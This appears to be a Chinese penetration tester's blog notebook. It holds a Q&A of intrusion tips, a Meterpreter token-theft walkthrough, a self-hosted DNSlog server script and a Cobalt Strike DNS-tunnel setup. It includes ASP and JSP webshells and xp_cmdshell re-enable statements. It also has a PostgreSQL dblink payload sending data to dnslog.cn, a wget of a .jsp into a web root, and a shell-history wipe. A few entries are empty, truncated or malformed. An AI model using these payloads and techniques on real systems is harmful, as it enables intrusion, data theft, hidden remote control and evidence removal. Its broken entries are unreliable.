0x00 关于

这篇大概会显得有些杂乱无章,但主要是用记录自己在平日遇到的问题及寻到的答案
之所以会采用这样的方式,是因为师傅跟我说,他身边个有这样的大佬,积累的小技巧最终都可以出书了...
它会记录成长,哪怕是零碎的 不成体系的知识点

总之。好的习惯,就需要坚持 所以今后会持续更新
如若有一天 此Q&A到达很大的数量时,会对顺序和类型再做一些整理吧

0x01 正文Q&A

1.恢复xp_cmdshell存储过程的SQL语句

EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;

2.当遇到恢复时遇到"sp_configure错误:不支持对系统目录进行即席更新"

EXEC sp_configure 'show advanced options', 1;RECONFIGURE WITH OVERRIDE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE WITH OVERRIDE;

3.MSSQL差异备份的SQL语句

4.Linux VPS上快速开启HTTP服务

python -m SimpleHTTPServer 80

5.Oracle注入,dba权限的利用方式


可以利用sqlmap --passwords参数,获得数据库用户的账号密码,并利用oracleshell工具连接并执行系统命令(前提,windows服务器且外开1521端口)

连接数据库时,需要服务名或SID。在--sql-shell下:
select global_name from global_name;(服务名)
select instance_name from v$instance;  (实例名/sid)

6.上传asp的Webshell时,若无法写入"及%符号,可以用以下马

<script language=vbs runat=server>eval request(0)</script>

7.Linux下将远程文件下载到指定目录

wget -P /var/html/www http://123.123.123.123/1.jsp

8.Linux下快速定位Web所在目录

1.查看前端源码,找到特殊的CSS或JS文件,如xxx.css
2.

9.双击无法打开时,命令行下允许Jar文件

java -jar xxx.jar

10.Linux下支持运行MSSQL2017,该版本的MSSQL无法直接调用xp_cmdshell(因为目前不支持该组件)。但可以通过xp_dirtree()组件来进行列目录。并且渗透时,可对内容文件进行读取操作,利用获取的信息进一步攻击。经测试,该Linux版本无法利用xp_dirtree进行DNSlog获取信息。所以盲注时,需要进一步研究。

11.遇到存在WAF的.net站点时,可以通过unicode编码,对sql注入的payload进行编码,绕过WAF防护。

12.Sqlmap下支持使用-d参数,通过命令行远程连接开放端口的数据库,进行操作。
命令如下:

sqlmap.py -d ""

13.判断是否是ThinkPHP框架的 一条指纹:


http://url/?c=4e5e5d7364f443e28fbf0d3ae744a59a或http://url/4e5e5d7364f443e28fbf0d3ae744a59a

若出现TP框架的LOGO则有该框架。

14.Sqlmap中利用注入,快速定位可能的管理员用户表:


利用参数-search,可以精准/模糊查询 字段名,方便查找
例:sqlmap.py -r 1.txt -D cms -search -C admin,pass

25.Thinkphp日志格式


/application/runtime/logs/年+月+日.log 如 (19_03_06.log)
/runtime/logs/Home/年+月+日.log
/runtime/logs/Home/年+月+日.log

26.注入利用DNSlog的前提:

利用DNS从有漏洞的数据库中渗出数据的前提条件是DBMS中有可用的能直接或间接引发DNS解析过程的子程序,然后这类的子程序被攻击者控制和调用。

27.Sqlmap指定特定类型进行注入检测:


通过参数 --technique=
B: Boolean-based blind SQL injection(布尔型注入)
E: Error-based SQL injection(报错型注入)
U: UNION query SQL injection(可联合查询注入)
S: Stacked queries SQL injection(可多语句查询注入)
T: Time-based blind SQL injection(基于时间延迟注入)

如要检测堆叠查询: --technique=S

28.Windows下 ,快速查找指定文件位置的命令
如在c盘下 查找mimikatz:

dir find c:\mimikatz.exe /s

29.msf获取shell后 为什么通常要进行进程迁移的操作:

刚获取的Meterpreter shell非常脆弱易受攻击,例如攻击者可以利用浏览器漏洞攻陷目标机器,攻击渗透后浏览器有可能被用户关闭。所以第一步就是要移动进程,将它和目标机中一个稳定的进程绑在一起,而不需要对磁盘进行任何写入操作。(渗透更难被检测)

30.Linux系统存在文件下载时,如何获取目录结构信息

下载/var/lib/mlocate/mlocate.db ,这个数据库中含有本地所有文件信息。Linux系统自动创建这个数据库,并且每天自动更新一次。

此漏洞利用方式结合不完全的上传漏洞(仅返回shell名称,不返回路径),效果更佳

31.PostgreSQL注入时,如何发起DNS请求

CREATE EXTENSION dblink;SELECT * FROM dblink('host='||(select user)||'.twfppo.dnslog.cn user=someuser dbname=somedb', 'SELECT version()') RETURNS (result TEXT);--

32.IIS下,让指定的文件后缀解析为asp文件

 <?xml version="1.0" encoding="utf-8"?>
    <configuration>
        <system.webServer>
            <directoryBrowse enabled="true" />
            <handlers>
                <add name="asdx" path="*.asdx" verb="GET,HEAD,POST,DEBUG" 
                modules="IsapiModule"                        
                scriptProcessor="%windir%\System32\inetsrv\asp.dll"
                resourceType="Unspecified" 
                requireAccess="Script" />
            </handlers>
        </system.webServer>
    </configuration>

保存为web.config,至指定目录

33.cmd下 利用powershell对指定ip进行端口扫描

powershell -c "444..446 | % {echo ((new-object Net.Sockets.TcpClient).Connect(\"192.168.180.16\",$_)) \"Port $_ is open!\"} 2>$null"

34.不包含双引号的JSP一句话

<%
       Runtime.getRuntime().exec(request.getParameter(Character.toString('x')));
%>

35.获取windows下 安装的软件列表

wmic product list brief

36.获取Windows下 盘符命令

#本地硬盘
wmic logicaldisk where DriveType=3 get DeviceID
#网络位置
wmic logicaldisk where DriveType=4 get DeviceID

37.Linux下不记录操作痕迹(只在当前终端会话内有效)

export HISTFILE=/dev/null export HISTSIZE=0

0x01 前言

在实际都渗透场景中,往往需要获取指定用户权限的shell。比如当一开始获取了system权限后,若想要切换administrator用户,并实现桌面截图监控,此时就可能需要Token令牌窃取这样的方式,来实现用户权限的切换。

0x02 关于Token

Windows下有两种类型的Token令牌:Delegation Token 和 Impersonation Token

  • Delegation Token:也就是授权令牌,它支持交互式登录(如远程桌面登录访问)
  • Impersonation Token: 模拟令牌,它是非交互式的会话(利用net use访问共享文件夹)

两种Token 只在系统重启后清除
具有授权令牌的用户在注销之后,其Token会变成模拟令牌,依然有效

0x03 利用MSF实现令牌窃取

本地环境测试: 目前已通过MS-17010 获取目标win2k3主机 system权限

49675787.png

此时目标win2k3 处于刚重启完毕,未登录用户状态
先利用incognito查看下Token情况

use incognito
list_tokens -u

可以看到此时还没有 administrator用户的令牌

50725094.png

待对方用户登录后,再次查看

50837006.png

下面实现Token窃取,并查看效果

impersonate_token "主机名\\Administrator"    

51108252.png

成功窃取Token,接下来就可以该用户权限,执行后续的操作了。

用户注销后,同理。依然可以获取该用户的Token
51421220.png

0x04 补充

若想返回之前的Token,可以使用:

rev2self

也可以通过指定 PID ,获取对应的Token:

steal_token pid号

51732724.png

除了MSF,windows下还有其它工具可以达到同样的效果,如incognito.exe
步骤类似,故不多记录了。

0x01 前言

近来发现一处mssql注入,可用xp_dirtree方式进行数据外带,但发现利用dnslog.cn等平台只可以监听到二级域名到请求
因为分配的二级域名用以区分不同的用户,请求的数据只能拼接到三级位置

于是想到了自己搭建一个简易dnslog,将外带数据置为二级域名并监听

0x02 搭建过程与坑

域名A的故事

其实在之前用CS搭建DNS隧道中,已经了解清楚了域名的解析过程,但过程中仍然发现了很多坑。

首先从域名说起,在写这文章之前 ,我已经在godaddy注册了一个顶级域名,并创建了A记录 sec 并解析到vps的ip上,然后创建了两个NS记录:ns1ns2指向A记录。

74017118.png

但在godaddy的DNS管理台发现,名称为@的NS记录,会指向两个值,如上图的ns77 和 ns78。这样的话,二级域名的解析中,无法完全指定为自己创建的DNS(即无法指向A记录)

另外,其中的SOA规定了这些NS记录中哪一台是主服务器,可以看到这里也是无法进行修改的。所以此时无法只通过这一个域名监听到想要的请求方式。只能接收到形如 xxx.ns1.dns.log 这样的解析记录

75032596.png

翻查了一些资料,无意间发现暗月大佬的博客有一篇《低成本搭建DNSlog》的文章。只需要通过Freenom这个域名商注册一个免费顶级域名,其中NS服务器可以自己配置解析ip。但购买时候发现,近期好像因为某种原因无法成功注册。

这里到,目前已有的域名暂且叫A。
如果还想要获取 xxx.dns.log 这样的记录该怎样呢

域名B

后来参考了BugScan的readme文档后,发现通过另一个方法还是很容易解决的
只需要拥有另一个域名,域名的NS服务器可以完全DIY指向A域名的ns就可以解决问题。

于是又苦苦地寻找一个合适的域名商,后来发现namesilo的域名 刚好可以满足需求,购买成功B域名后,可以进行NS服务器的配置
这里将NameServers配置为A域名下的两个记录ns1ns2即可

75939707.png

但是到此时,还没完成配置。A域名的ns1和ns2的记录类型需要修改为A记录,值指向自己的公网VPS服务器IP

76230885.png

这样,就完全控制了域名解析的最关键环节。最终NS请求会发送至你输入的ip对应的服务器,然后监听53的UDP请求

但还需要时间,毕竟世界各个地方的DNS服务器更新缓存需要一点点时间,无法及时同步

脚本监听

睡一觉过后,就差不多了,最后需要在VPS上监听上一层NS服务器发送过来的域名解析请求。
发现已经又前人拿python写过了脚本,蛮好用。这里就直接贴上代码

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Date : 2014-06-29 03:01:25
# @Author : Your Name (you@example.org)
# @Link : http://example.org
# @Version : $Id$
import SocketServer
import struct
import socket as socketlib
# DNS Query
class SinDNSQuery:
    def __init__(self, data):
        i = 1
        self.name = ''
        while True:
            d = ord(data[i])
            if d == 0:
                break;
            if d < 32:
                self.name = self.name + '.'
            else:
                self.name = self.name + chr(d)
            i = i + 1
        self.querybytes = data[0:i + 1]
        (self.type, self.classify) = struct.unpack('>HH', data[i + 1:i + 5])
        self.len = i + 5
    def getbytes(self):
        return self.querybytes + struct.pack('>HH', self.type, self.classify)
# DNS Answer RRS
# this class is also can be use as Authority RRS or Additional RRS
class SinDNSAnswer:
    def __init__(self, ip):
        self.name = 49164
        self.type = 1
        self.classify = 1
        self.timetolive = 190
        self.datalength = 4
        self.ip = ip
    def getbytes(self):
        res = struct.pack('>HHHLH', self.name, self.type, self.classify, self.timetolive, self.datalength)
        s = self.ip.split('.')
        res = res + struct.pack('BBBB', int(s[0]), int(s[1]), int(s[2]), int(s[3]))
        return res
# DNS frame
# must initialized by a DNS query frame
class SinDNSFrame:
    def __init__(self, data):
        (self.id, self.flags, self.quests, self.answers, self.author, self.addition) = struct.unpack('>HHHHHH', data[0:12])
        self.query = SinDNSQuery(data[12:])
    def getname(self):
        return self.query.name
    def setip(self, ip):
        self.answer = SinDNSAnswer(ip)
        self.answers = 1
        self.flags = 33152
    def getbytes(self):
        res = struct.pack('>HHHHHH', self.id, self.flags, self.quests, self.answers, self.author, self.addition)
        res = res + self.query.getbytes()
        if self.answers != 0:
            res = res + self.answer.getbytes()
        return res
# A UDPHandler to handle DNS query
class SinDNSUDPHandler(SocketServer.BaseRequestHandler):
    def handle(self):
        data = self.request[0].strip()
        dns = SinDNSFrame(data)
        socket = self.request[1]
        namemap = SinDNSServer.namemap
        if(dns.query.type==1):
            # If this is query a A record, then response it

            name = dns.getname();
            toip = None
            ifrom = "map"
            if namemap.__contains__(name):
                # If have record, response it
                # dns.setip(namemap[name])
                # socket.sendto(dns.getbytes(), self.client_address)
                toip = namemap[name]
            elif namemap.__contains__('*'):
                # Response default address
                # dns.setip(namemap['*'])
                # socket.sendto(dns.getbytes(), self.client_address)
                toip = namemap['*']
            else:
                # ignore it
                # socket.sendto(data, self.client_address)
                # socket.getaddrinfo(name,0)
                try:
                    toip = socketlib.getaddrinfo(name,0)[0][5][0]
                    ifrom = "sev"
                    # namemap[name] = toip
                    # print socket.getaddrinfo(name,0)
                except Exception, e:
                    print 'get ip fail'
            if toip:
                dns.setip(toip)
            print '%s: %s-->%s (%s)'%(self.client_address[0], name, toip, ifrom)
            socket.sendto(dns.getbytes(), self.client_address)
        else:
            # If this is not query a A record, ignore it
            socket.sendto(data, self.client_address)
# DNS Server
# It only support A record query
# user it, U can create a simple DNS server
class SinDNSServer:
    def __init__(self, port=53):
        SinDNSServer.namemap = {}
        self.port = port
    def addname(self, name, ip):
        SinDNSServer.namemap[name] = ip
    def start(self):
        HOST, PORT = "0.0.0.0", self.port
        server = SocketServer.UDPServer((HOST, PORT), SinDNSUDPHandler)
        server.serve_forever()
# Now, test it
if __name__ == "__main__":
    sev = SinDNSServer()
    sev.addname('ns1.xxx.xxx', 'vps-ip') # add a A record
    sev.addname('ns2.xxx.xxx', 'vps-ip') # add a A record
    sev.addname('*', '127.0.0.1') # default address
    sev.start() # start DNS server

ns1和ns2的域名指向为vps的ip地址
星号* 是将其他任何域名请求,解析到127.0.0.1 (也可以设置其他的 如0.0.0.0)

开启监听后,返回物理机Ping下域名,发起dns请求

77420643.png

在VPS成功查看到接收的域名解析记录

81025157.png

0x03 后记

简易的dnslog搭建完毕后,那个注入点也发现了原因所在,参数的接收限定了长度。而dnslog.cn平台的地址,刚好达到payload长度的上限,所以和DNSlog平台本身并无关系 = = 但通过这次折腾,也对域名解析流程有了更清晰的认知。倘若以后真遇到那样的场景,也不会突然僵住

毕竟 只有熟悉规则,才能绕过规则。

0x01前言

关于DNS进行数据传输,自己以往基本只是无回显的注入、命令执行或XXE情况下利用,然后简单的通过Dnslog接收需要的数据了。在权限维持方面,使用的是常规的reverse_tcp 大部分目标场景下,这也的确是满足需求。

但在近期遇到环境,目标主机所处内网环境。无法通过TCP/HTTP等请求与外网进行通讯,需要用到DNS隧道进行权限控制,以方便后续的内网渗透。

0x02 相关基础

1.DNS隧道

DNS隧道:从名字来看 即利用DNS查询过程建立隧道,进行数据传输。
简单来说,就是将网络流量封装成dns流量,再通过dns的正常走向将流量传出来。这里的流量封装通常由一个客户端来完成,而降封装的dns流量还原成正常的网路流量将由一个服务端来完成。

通讯流程图,如下所示:

z1.png

在相对复杂和较为安全的网络环境中,防守方对内部网络发出的请求是由严格的控制的。一般通过防火墙来实现拦截,这时候攻击者若想在获取目标权限后进行权限维持操作,是较为困难的。另外 后渗透的一些操作可能会触发某些防护设备的规则。这时通过DNS隧道技术对目标进行长期维持则很适用且不易被察觉。DNS隧道会将所有流量数据进行封装,再通过DNS请求发出,一般的安全设备和软件不会对DNS请求作详细对检查。封装后的流量通过url发送,通过DNS服务器递归查询,最终到达攻击者的服务器解密。服务端也可以下发指令给客户端,客户端解密后执行下发的命令。

2.DNS解析原理

在了解DNS隧道概念后,需要熟悉DNS解析的流程作为支撑。
课本上有,很好理解。
附个链接:https://www.cnblogs.com/liyuanhong/articles/7353974.html

3.关于Cobalt Strike

Cobalt Strike是一个集各种强大功能于一身的渗透框架,简称CS。使用方法和相关资料网上有很多,最近t00ls上也有分享CS的系列教程,这里不作太多介绍。

CS中自带的DNS服务器,当设置域名解析指向其为受信任的ns服务器时,可与客户端(cs生成的payload)建立隧道并进行通讯。
可自定义设置心跳时间,下发指令等。后渗透的利器。

Beacon shell会向指定域名发起正常的DNS查询,最终定位并发送到CS服务器。

0x03 实战过程

1.探测网络环境

在内网渗透中,通过信息获取到目标主机 MSSQL权限,然后恢复xp_cmdshell。
接着在目标主机中,执行命令。查看是否可以ping通外网ip,结果显示请求超时。

z2.png

在vps监听http请求,也无果。看来目标主机的网络请求无法穿透隔离设备

z3.png
z4.png

抱着侥幸的心态又试着Ping了下dnslog地址,结果惊奇的发现 dns解析过程执行成功了。

z5.png

2. 搭建Cobalt Strike服务端

方法很简单,平时自己也搭建好了。
这里主要想说的是:防火墙配置 务必要放行53端口 ,否则CS自带的DNS无法接收。

CS服务端需要通过该端口接收域名解析过来的数据,否则无法成功反弹shell。

3. 准备域名并配置解析记录

这里我用的godaddy,购买完后进行配置解析。

配置方法如下:

  • 设置一条A记录 假设名为"sec",A记录的值 指向CS服务端的ip地址
  • 新增几条NS记录,这些记录的值指定为刚创建的A记录的域名

z6.png

稍等片刻,域名解析生效后就OK了。
为了验证是否完全配置成功,可以通过 dig +trace 来跟踪解析过程。

z7.png

看看最后是否解析到A记录上,如果解析不到,意味着payload回连时定位不到CS服务器,即无法上线。
如果解析成功的话,最终会返回解析地址为 0.0.0.0。到这一步是否成功,很关键。

z8.png

4.生成后门并执行

首先CS上创建一个Listener,Host要用刚创建的A记录的域名,端口随意
最好用一些穿透性比较强的端口号,443/8080等。

z9.png

此处是用于解析上述A记录的NS服务器域名,填入创建NS记录对应的域名即可。

z10.png

最后 基于此Listener创建后门,传入目标主机并执行。

z11.png

稍等片刻,目标上线。从而可以进行权限维持 及后续操控。

z12.png

0x04 思考总结

DNS隧道在底层用了dns协议,从防守方来讲,DNS请求相对很难监测和发现。域名相对于ip也更难于发现,在攻方进行长期权限维持时,具有很强的隐蔽性。但又因为url长度限制,数据的传输速度会很慢。如何在这种情况下进行后续渗透,又将面临不少问题。另外,脱离CS这种强大工具进行dns隧道控制,需要很高的段位吧。

最近愈发觉得 不同的技术有不同的适用场景,总在自己能力范围的舒适圈内活动会止步不前。以前会把很多精力会放在Web上,觉得挖挖洞或专注拿入口就够了。但最近一些事情突然让我意识到,很多知识和手法其实很重要,只是之前自己所处的环境 用不到,也无法从中思考。希望自己今后能更踏实下来,不断学习沉淀。